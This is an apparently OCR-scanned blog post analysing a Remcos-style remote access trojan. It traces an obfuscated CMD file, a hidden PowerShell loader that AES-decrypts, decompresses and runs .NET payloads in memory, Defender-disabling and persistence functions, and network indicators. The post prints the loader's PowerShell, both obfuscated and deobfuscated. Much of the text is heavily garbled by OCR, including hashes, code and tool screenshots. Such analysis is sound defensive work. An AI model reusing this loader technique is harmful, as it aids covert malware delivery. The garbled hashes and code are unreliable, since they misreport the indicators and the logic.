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Ramcos RAT is a sophisticated type of malware called a remote access trojan (RAT). It evades antivirus detection
and gives cybercriminals remote access and control over infected systems. Typically , it’s used for stealing

information, installing more malware, or using the infected system in a botnet.
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Database Entry

Intelligence 0Cs varA File information Comments

SHAZ256 hash: (D 1aSad%2eTb0dcde2edbTe 0355 5§2c 59cB41138704f380d958351bBea301 4add

SHA3-384 hash: D 3307db7Tbed 3254279317 3b162 3acBad 30047 0Mbaabid 55bee 308 0:93b 50b 0 Tecic8 Jead d51 9e i 36242 240280123
SHA1 hash: A Thdigsbio6ET4Taci2 103 TdiSe56d S4f8a0cTetd

MD5 hash: D 19411804 3c65faad0EbISfEodIb5 2a2

humanhash: 3 foxtrot-lithium-summer-romes

Flle name: lads.crmd

Downlead: B dawnload sample

signature © [ vemconins | 0 et - |
- File size: - 270500 biytes

First seen: 2024-02-15 11:33:34 UTC

MalwareBazaar sample
Stage 1:
As usual I downloaded the file and extracted it using the password “infected”.
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Original CMD file

After extracting the file and examining its contents , I noticed it consisted of two large chunks of code , along with
sets and loops. The code was lengthy and heavily obfuscated. To better understand its behavior , I ran it and

monitored for any new processes launched by the original file.
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B Process Tree O >

[[] Only show processes still running at end of current trace

Timelines cover displayed events only

Process Description Image Path Life Time Company Owner Come ™
&4 VBox Tray exe (5748) VitualBox Guest .. Co\Windows"Syst_. _Omde and/orits .. FLAREVIMbar G
= 2 msedge exe (5500) Microscft Edge C:\Program Files (. [N Microsoft Comorat... FLAREVMbar  “C:\P
emsedge.exe (5580) Microsoft Edge C:\Program Files (... _ Microsoft Comporat... FLAREVM bar SCAR
Emssdgs.exe 4652) Microsoft Edge C:\Program Files (... _ Microsoft Comporat... FLAREVM bar AP
emssdgs.am (3192) Microsoft Edge C:\Program Files (... _ Mecrosoft Comporat... FLAREVIMbar O
emssdgs.gm 3352) Microsoft Edge C:\Program Files (... _ Mecrosoft Comporat .. FLAREVIM'bar CNP
G)opmvpn-g.ﬁ.m (B656) C\Program Files'... FLAREVM'\bar “ChP
(=) [ Procmon exe (2020) Process Montor  Ci\Tools\sysintem... _Sysimmals ~ww.., FLAREVM\bar "CAT
B GOE S S (2316 Process Montor  Ci\Users‘barApp... [ Sysintemnals - ww... FLAREVM'bar “C
= g o exe (1356) Nindows Comma.,. C\Windows'syst... | Mecrosoft Comorat... FLAREVM bar CoW
= El emd.exe (6220) indows Comma... C\Windows'syst... [N Wicrosoft Comparat... FLAREVM bar CWi
[ Conhost.exe (5340) ngale Window ... C\Windows'\Syst... Microsoft Comparat, FLﬁ.RE\IM\ba N
gcmdere 6952 [Windows Comma... C:\Windows'syat.. Microsch Coporat .. FLAREVMbar  CAM
= N powershell exe (3304) indows PowerS... C:\Windows\Sys... ny FLHF{EVM\har C: \W

indows FowerS... C\WVindows'\Sys... .. FLAREVMbar W
nsole Window ... C:\Windows'syst... | Microsoft Comporat... FLAREVM'\bar Ay o

o> MpCmdRun.exe (1532} Microsoft Matware... C:\Program Fies'... IR Microsoft Comorat... NT AUTHORITY.. "C:\P

< > £ >

Description:  Windows Cemmand Processor

Company:  Micresoft Corporation

Path: CAWindowshsystem32\cmd.exe

Command: C:\Wndows\system!Z\cmd«a:JfS!D /" echo Shost UL.RawUL WindowTitle='Ci\Users\bar\De I
User: FLAREVM\bar

PID: 6932 Started:  2/17/2024 10:23:05 AM

Exited:  2/17/2024 10:23:05 AM

Go To Event | Include Process | Include Subtree

PowerShell was being executed under the original file

Stage 2:
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lace (' Cy

-Replace .

'E Replace

3 pmﬂ!l‘shsll =u hidden;function )BrZG(SKSM)(ic‘Rqu!ESysCEm Security.Cryptography.hes] : :Create () ; $cRyDg. Mode:
Paddmg—tsystem Security.Cryptography.Pai lm;zsoﬂel chs'l $cRyDg . Key—l:System Convert] :: (§yDpz[ 1)( nlftMe/
Convert] : : ($¥Dpz[31) (' gNVO13iwamE 1l aUPiVAGow=

ipherMode] : :CBC; §eRyDg.
175186=") ;$cRyDg. IV=[System.
pose () ;$cRyDg.Dispose() ;
&mmw }function agayptsusnu'r)tsjmuweu Ubject System.I0.| Nmrystz'eam( lxsnu'r) snmuweu object System.I0.| Hemorystream §adsek=Necw-Object System.IO.Compression.
Gzip ($3mbau, [10. Comp: on 1::(6yDpz(11)) ;SadSek. (SyDpz[1.]) (SwFcba) ;$adSek. Disposs () i§jmbnu. Disposs () ; GwEcba . Disposs () ;$wEcba. Tahrzay () ;)
$orMMD=[System.I0.Filel:: ($yDpz[ i)(lconsole] :Title) ;$JPMmz=agayp (JErZé {([Convertl::($yppz(-1) ([System.Ling.Enumerable]:: ($yDpz(l 1) ($oFMMD, °).Substring(:)))):
SCdrWR=agayp (JEXZG ([Conmvert]::(8yDpz[:]1) ([System.Ling.Enumerable]:: ($yDpz[!:]) ($oFNMD, ) .Substring(2)))):[System.Reflection.Assembly]:: (§yDpz[i0]) ([byte[]1]5CdrWR
}. (#yDpz[:1) . ($yDpzl01) ($null,$null) ; [System,Reflection.Assenblyl: : ($yDpz[101) {[byte [11$IEMaz) . ($yDpzl-1). ($¥Dpz(01) ($null,$null) ; |

Obfuscated PowerShell

This PowerShell code was much easier to deobfuscate , it used simple replacements to create a list of words and

then used those words in the hidden PowerShell code.
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1 $host . UT.RawlI. WindowTitle
2 | $functions
'T fornf

powershell -w hidden;

| function Decrypt (§encryptedData)

=1

7. §aes = [System.Security.Cryptography.Aes]::Create() ;
$aes.Mode = [System.Security.Cryptography.CipherMode] : :CBC;

$aes. paddin System.Security.Cryptography . PaddingMode] :

aB5.Key = [SySLem.CoNVert]::FromBaseedstring

$aes.Iv = [system. cConvert)::Fromeaseé4string(

Gdecryptor = gaes.Createbecryptor ()7

$decryptedData = fdecryptor.TransformFinalBlock

$decryptor.Dispose () ;

§aes.Dispose () ;

§decryptedpata;

-y .Length) ;

function Decompross(§compresseddata)
"

20 §inputStream = New-Object System.IO.MemoryStream(,ScompressedData);
21 = Hew-Object System.JO.MemoryStream;

SgzipStream = New-Object System.IO.Compression.GZipStrean($imputStream, [10.Compression.CompressionMode] : :Decompress) ;

$gzipStream.Dispose() ;
25 $inputStream.Dispose () ;
26 $Soutputstream.Dispose () ;
27 §outputstream. ToArray () :
¥

Y lead = De P (Decrypt ((Convert)::FromBaseé4String((System.Ling.Enumerable]::ElementAt(([System.Ling.Enumerable]::split((Conscle): Title,
IRRR NS

30 $decryptionKey = Decrypt ([Convert]::FromBase&4String([System.Ling.Enumerable]::ElementAt (([System.Ling.Enumerable]: :Split([Console]::Title, &)),20)0) ¢

3l [System.Reflection.Assembly): :Load ([byte [])$decryptionRey) .EntryFoint. Invokes ($null,$null) ;

a2z [System.Reflection.Assembly]::Load([byts []]$encryptedPayload) .EntryPoint. Invoks ($null, $null) ;

rE——] Tength: 1937 fines: 33 o33 Colil Pos:n008 Windows {CRLR)  UTF-8

Deobfuscated PS — Highlighting the AES Decryption and Decompress

After renaming the variables and deobfuscation it was clear to me why the original file was impossible to

understand and deobfuscate — it was encrypted and compressed. Using the above code I had all the things I

needed to decrypt the original file ; using the AES key and IV.
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Oparatians Recipe BETF + o8 =
1] I~ /e 1 ylzz] = CH 232! hGMLHT73waf phikeé gg+Xnl5
null From Base6d e n 4 JuafohTikgg knlse,
Remove mull bytes dchaber L IQUALGY L/ eQnac
A-Ta-20-9+/= i Remeve non-alphabet chars »
00k ] /EEGHEAL AEDRRC]
O strict mode
To Hex
= v
Space o
= 2 it
REELiayRt > " 106 227 QIMN L3P 2R 20319 3900 LL T kBTN K £ 0GHE TR NGRRETF AT 2N 173p19058r0Rng

or ;
I nlfthe/H2stydx  BASET ”qw-voniwn:aiaup_ BASEGS

Favourites *
Data format

Encryption / Encoding

Public Key

Arithmetic / Logle

BAKE!

Auto Bake

)

STEP

Networking

CyberChef — Extracting EXE from the original file

Get 0xMrMagnezi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

At first, I converted from Base64 to Hex and then decrypted using AES with the Key and IV found in the previous

part. Finally, I decompressed the output using Gunzip. Essentially, I followed the decoding steps as intended. I

knew I was on the right path as soon as I saw the MZ Header, which is the file format of an EXE file. There were

actually two chunks of code , indicating two files inside, as shown in the next picture.

Press enter or click to view image in full size

Page 4 of 6



https://medium.com /@b.magnezi/malware-analysis-ramcos-rat-48fd986328f5

rs\bar Desktop'out.bn

Entry pont i kacnee] S Base address Entry pont

13,008 . G0a3197¢ = == 650K 00400000 oD4025e =
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.00 Console32, consale]

[(Sonatrez | v can V Desp e | [[somtres | v
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Using DIE, I determined the language in which those files were written (.NET)

I chose to debug those files in DNSPY because they were written in .INET. Once I opened them, it was clear what
the program was trying to do. The attacker hadn’t obfuscated this final sample.

As shown in the next picture, I was able to see exactly the names of the functions and what they were supposed to
do.
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¥ X DisableWindowsDefender() : void

-

Disable Defender Function
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embly Explorer % InstallStertup(s

15 batPath)

(batPath));
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Persistence Function
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Finding The file that is being used as persistence

Important to note that this file that is being saved in the startup path is the original cmd file that was analyzed.

Moreover , while analyzing this sample , I monitored network connections and discovered additional IOCs.
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14 14.461989469 10.0.0.4 10.0.0.3 DNS 75 Standard query 0x8620 A api.ipify.org

15 14.466870924 10.8.0.3 16.0.0.4 DNS 91 Standard query response 8x8620 A api.ipify.org A 10.0.0.3

29 14.492132231 10.8.08.4 10.0.0.3 DNS 79 Standard query ©xBc6a A ads.hostloads.xyz

30 14.497074256 10.0.0.3 10.0.0.4 DNS 95 Standard query response 0x0c6a A ads.hostloads.xyz A 10.0.0.3

I0Cs:

e lods.cmd — 194118c43c65faad06bf5ff6cd9b52a2

e IxsgpAscrubb.exe — 3ca5a8e1e0217d89b4926ca68e5f41c8

e MAEmka.tmp(exe) — e60e82df05c02ec173655dd9c41dd829
e Domain — apil.]ipify[.]org

e Domain — ads[.]hostloads[.]xyz

In conclusion , the analysis of Ramcos RAT highlights the sophisticated techniques used by cybercriminals to
evade detection and gain remote access to infected systems. The malware’s multi-stage approach , from obfuscated

CMD and PowerShell scripts to encrypted and compressed payloads , showcases the complexity of modern

malware threats.

Source: https://medium.com/@b.magnezi/malware-analysis-ramcos-rat-48fd986328f5

Page 6 of 6



